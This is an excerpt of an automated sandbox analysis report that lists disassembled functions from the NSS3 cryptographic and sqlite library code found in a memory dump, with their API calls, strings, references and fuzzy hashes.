String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptInit
API String ID: 332880674-2055260395
Opcode ID: 33ee800df91c9f278fbc4d99a23a612def719313320ba29ffe7c3741492afbad
Instruction ID: 534dc43930444b04280e3d409667ba9900901f46fada07bae075cfdfeba43dd6
Opcode Fuzzy Hash: 33ee800df91c9f278fbc4d99a23a612def719313320ba29ffe7c3741492afbad
Instruction Fuzzy Hash: B1310971A02104ABCB30DB24EE8DFAE37B5AB4231DF054435E5096BB51DB34A948C7D1

Function 6C834C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C834CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C834CFD
sqlite3_value_text16.NSS3(?), ref: 6C834D44

Strings

invalid, xrefs: 6C834CF1
abort due to ROLLBACK, xrefs: 6C834D27, 6C834D33
no more rows available, xrefs: 6C834D2E
another row available, xrefs: 6C834D20
out of memory, xrefs: 6C834C78, 6C834C9E
API call with %s database connection pointer, xrefs: 6C834CF6
unknown error, xrefs: 6C834D56
bad parameter or other API misuse, xrefs: 6C834D05

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: c72803f77f1bf2134652bd99c082a97c6fcc8ed51e7ecdf43c6735b5ef8e64e0
Instruction ID: 9f7f371f730340923de381973de7492730c2619745160427623d4b22571d2251
Opcode Fuzzy Hash: c72803f77f1bf2134652bd99c082a97c6fcc8ed51e7ecdf43c6735b5ef8e64e0
Instruction Fuzzy Hash: 23315673A0483497E73546A8AB047A47F2177C2319F563D25C81C4BE55DB33A857C3E2

Function 6C792DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C792DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C792E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C792E33

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C792E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C792E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C792E81

Strings

pPin = 0x%p, xrefs: 6C792E63
hSession = 0x%x, xrefs: 6C792E0E, 6C792E1E
C_InitPIN, xrefs: 6C792DF1
ulPinLen = %d, xrefs: 6C792E7C
(CK_INVALID_HANDLE), xrefs: 6C792E2C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 1ade46441f5cf417bedfe796fdd8a77feccbd07cf38ee8a597cf752936c0f896
Instruction ID: 0e9df6dcce5850f8c376f6162364d70a2eb4c8d6fd263d95d7d461021bdd9a40
Opcode Fuzzy Hash: 1ade46441f5cf417bedfe796fdd8a77feccbd07cf38ee8a597cf752936c0f896
Instruction Fuzzy Hash: 0831F771601144ABCB30DB14EE8CB5A3779EB4231CF054435E908A7B91DB34AA48CBE1

Function 6C796EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C796F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C796F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C796F53

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C796F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C796F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C796FA1

Strings

pPart = 0x%p, xrefs: 6C796F83
hSession = 0x%x, xrefs: 6C796F2E, 6C796F3E
C_DigestUpdate, xrefs: 6C796F11
ulPartLen = %d, xrefs: 6C796F9C
(CK_INVALID_HANDLE), xrefs: 6C796F4C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: e784c7bc7e3c3d119c0092e1219af54889dbc818df044da3831ba00b3584e2e5
Instruction ID: b073925c38f5cc6d1c15e49bcf305081965ba95293c1b3f871b42f2a83869e46
Opcode Fuzzy Hash: e784c7bc7e3c3d119c0092e1219af54889dbc818df044da3831ba00b3584e2e5
Instruction Fuzzy Hash: 9E31F7746011149FDB70CB28EE4CB5A37B1EB4231CF094435E409A7B52EB35EA48CBE1

Function 6C702450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7024BA
LeaveCriticalSection.KERNEL32(?), ref: 6C70250D
EnterCriticalSection.KERNEL32(?), ref: 6C702554
LeaveCriticalSection.KERNEL32(?), ref: 6C7025A7
EnterCriticalSection.KERNEL32(?), ref: 6C702609
LeaveCriticalSection.KERNEL32(?), ref: 6C70265F
EnterCriticalSection.KERNEL32(?), ref: 6C7026A2
LeaveCriticalSection.KERNEL32(?), ref: 6C7026F5
EnterCriticalSection.KERNEL32(?), ref: 6C702764
LeaveCriticalSection.KERNEL32(?), ref: 6C702898
EnterCriticalSection.KERNEL32(?), ref: 6C7028D0
EnterCriticalSection.KERNEL32(?), ref: 6C702948
LeaveCriticalSection.KERNEL32(?), ref: 6C70299B
EnterCriticalSection.KERNEL32(?), ref: 6C7029E2
LeaveCriticalSection.KERNEL32(?), ref: 6C702A31

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: da8d6d385f0715b2353dc1b1d3b3a9935f81354618d5ef3bec6527e6e134ff97
Instruction ID: 6f5b5817a6d5c127ef4553db4ea3838baaec499bf086cc7a4ca3324f9e91e6d9
Opcode Fuzzy Hash: da8d6d385f0715b2353dc1b1d3b3a9935f81354618d5ef3bec6527e6e134ff97
Instruction Fuzzy Hash: 8EF1C6B2B411108FDB249F60EA9D67A3770BF8731DB18017DD90657A41CB39EA82CBD6

Function 6C832D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C832D9F

Part of subcall function 6C6ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C74F9C9,?,6C74F4DA,6C74F9C9,?,?,6C71369A), ref: 6C6ECA7A
Part of subcall function 6C6ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ECB26

sqlite3_exec.NSS3(?,?,6C832F70,?,?), ref: 6C832DF9
sqlite3_free.NSS3(00000000), ref: 6C832E2C
sqlite3_free.NSS3(?), ref: 6C832E3A
sqlite3_free.NSS3(?), ref: 6C832E52
sqlite3_mprintf.NSS3(6C89AAF9,?), ref: 6C832E62
sqlite3_free.NSS3(?), ref: 6C832E70
sqlite3_free.NSS3(?), ref: 6C832E89
sqlite3_free.NSS3(?), ref: 6C832EBB
sqlite3_free.NSS3(?), ref: 6C832ECB
sqlite3_free.NSS3(00000000), ref: 6C832F3E
sqlite3_free.NSS3(?), ref: 6C832F4C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 89302f72c62ce45e7e1257f0c95a2e3f5f9ae1d7777c9a74025ba3adf4f44ac0
Instruction ID: 5d34273cbc248b466f5e10c69c148af27b57251edc9a7467e06a94e6272ef07c
Opcode Fuzzy Hash: 89302f72c62ce45e7e1257f0c95a2e3f5f9ae1d7777c9a74025ba3adf4f44ac0
Instruction Fuzzy Hash: 6861D6B1E052298BDB21CFA8D9857DE77B1EF49348F102424DD09A7742E739E845CBE4

Function 6C6E4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D97
PR_Lock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4DBA
PR_WaitCondVar.NSS3 ref: 6C6E4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4DEF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 64b1684d7eeeb1c65026f27bec78120dd66c1b0916972cd83a9ea51abc803b80
Instruction ID: 9f398eb195b2d3bbf12353dc71fd333c7e492ad4b252c2090aa66d5ba81a6325
Opcode Fuzzy Hash: 64b1684d7eeeb1c65026f27bec78120dd66c1b0916972cd83a9ea51abc803b80
Instruction Fuzzy Hash: F04170B1A09615CFCB20AFB8D5885697BF4BF09318F05467ADC889B701EB70E894CBD5

Function 6C6E6645 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 477stringCOMMON

Download Yara Rule

APIs

sqlite3_step.NSS3(?), ref: 6C6E66CA
EnterCriticalSection.KERNEL32(?), ref: 6C6E673D
LeaveCriticalSection.KERNEL32(?), ref: 6C6E67B8
EnterCriticalSection.KERNEL32(?), ref: 6C6E6A7A
LeaveCriticalSection.KERNEL32(?), ref: 6C6E6ADE
sqlite3_errmsg.NSS3 ref: 6C6E6B80
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E6B93
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6E6BB6

Strings

d, xrefs: 6C6E6AFF
(, xrefs: 6C6E67D7

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memcpysqlite3_errmsgsqlite3_stepstrlen
String ID: ($d
API String ID: 2708504553-1915259565
Opcode ID: 56f4b5f0d87b511b1b64884854fc26f23eb2d736c4f1f78079b17e25aa8421ad
Instruction ID: a6e8457e033bf531429e3fad39053bd5dc849b5c3fa032707e4edc1e6e55498b
Opcode Fuzzy Hash: 56f4b5f0d87b511b1b64884854fc26f23eb2d736c4f1f78079b17e25aa8421ad
Instruction Fuzzy Hash: 4002B270A0A2098FDB10CF69C4907AE77B1BF4D318F24412EDA55DBB41DB35E845CBA9

Function 6C784E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C784E90
EnterCriticalSection.KERNEL32 ref: 6C784EA9
TlsGetValue.KERNEL32 ref: 6C784EC6
EnterCriticalSection.KERNEL32 ref: 6C784EDF
PL_HashTableLookup.NSS3 ref: 6C784EF8
PR_Unlock.NSS3 ref: 6C784F05
PR_Now.NSS3 ref: 6C784F13
PR_Unlock.NSS3 ref: 6C784F3A

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

Strings

bUxl, xrefs: 6C784F3F
bUxl, xrefs: 6C784E5C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUxl$bUxl
API String ID: 326028414-1158714841
Opcode ID: 4bdcc174bc1e260ed18d0afbafc06533fd107c914ce4593dc2ef9c7693bbcf6c
Instruction ID: 763850f6225ee47332140c6899bc82da5011b3f4ee37e870545f0133a4ca3ecd
Opcode Fuzzy Hash: 4bdcc174bc1e260ed18d0afbafc06533fd107c914ce4593dc2ef9c7693bbcf6c
Instruction Fuzzy Hash: 82414BB4A006059FCB10DF78C59886ABBF4FF49308B058579ED599B711EB30E895CBE1

Function 6C750600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 6C750623
GetLastError.KERNEL32(?,?,?,?,?,6C7505E2), ref: 6C750642
TlsGetValue.KERNEL32(?,?,?,?,?,6C7505E2), ref: 6C75065D
GetLastError.KERNEL32 ref: 6C750678
PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C75068A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C750693
PR_SetErrorText.NSS3(00000000,?), ref: 6C75069D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,7313176F,?,?,?,?,?,6C7505E2), ref: 6C7506CA
PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C7505E2), ref: 6C7506E6

Strings

error %d, xrefs: 6C750682

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$Last$AddressProcR_snprintfTextValuestrcmpstrlen
String ID: error %d
API String ID: 4000364758-2147592115
Opcode ID: 4a41a427c67ab23c3ff1b67b0b6546aa72b5d77544f0037bb2b4a0f55f74db42
Instruction ID: 85bba103acb248f57c70936d88289fbbf02ccadf9ba24f42eb2a1ce556195921
Opcode Fuzzy Hash: 4a41a427c67ab23c3ff1b67b0b6546aa72b5d77544f0037bb2b4a0f55f74db42
Instruction Fuzzy Hash: 78212971E001819BEB206B3D9E09A5A7778EF9230DF950578D80897A92EF31A534C7E2

Function 6C7AECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C7ADE64), ref: 6C7AED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7AED22

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

PL_FreeArenaPool.NSS3(?), ref: 6C7AED4A
PL_FinishArenaPool.NSS3(?), ref: 6C7AED6B
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7AED38

Part of subcall function 6C6E4C70: TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
Part of subcall function 6C6E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
Part of subcall function 6C6E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C7AED52
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7AED83
PL_FreeArenaPool.NSS3(?), ref: 6C7AED95
PL_FinishArenaPool.NSS3(?), ref: 6C7AED9D

Part of subcall function 6C7C64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C7C127C,00000000,00000000,00000000), ref: 6C7C650E

Strings

security, xrefs: 6C7AED06

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: b1b6c55e55ee8114f0e45bc5d93cdaf24424379dd9976dc748292ffcba7c55f6
Instruction ID: b8e0f8660aad153d2d450cd79d914d56f44b5c5df503374ae78273a913509cb0
Opcode Fuzzy Hash: b1b6c55e55ee8114f0e45bc5d93cdaf24424379dd9976dc748292ffcba7c55f6
Instruction Fuzzy Hash: 47112E75A002096FD72057A59E8DBBB72786F4170DF000A35E81562F81F728A71DD6DB

Function 6C792CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C792CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C792D07

Part of subcall function 6C8709D0: PR_Now.NSS3 ref: 6C870A22
Part of subcall function 6C8709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C870A35
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C870A66
Part of subcall function 6C8709D0: PR_GetCurrentThread.NSS3 ref: 6C870A70
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C870A9D
Part of subcall function 6C8709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C870AC8
Part of subcall function 6C8709D0: PR_vsmprintf.NSS3(?,?), ref: 6C870AE8
Part of subcall function 6C8709D0: EnterCriticalSection.KERNEL32(?), ref: 6C870B19
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870B48
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870C76
Part of subcall function 6C8709D0: PR_LogFlush.NSS3 ref: 6C870C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C792D22

Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(?), ref: 6C870B88
Part of subcall function 6C8709D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C870C5D
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C870C8D
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870C9C
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(?), ref: 6C870CD1
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C870CEC
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870CFB
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870D16
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C870D26
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870D35
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C870D65
Part of subcall function 6C8709D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C870D70
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870D90
Part of subcall function 6C8709D0: free.MOZGLUE(00000000), ref: 6C870D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C792D3B

Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C870BAB
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870BBA
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C792D54

Part of subcall function 6C8709D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C870BCB
Part of subcall function 6C8709D0: EnterCriticalSection.KERNEL32(?), ref: 6C870BDE
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(?), ref: 6C870C16

Strings

pPin = 0x%p, xrefs: 6C792D1D
ulPinLen = %d, xrefs: 6C792D36
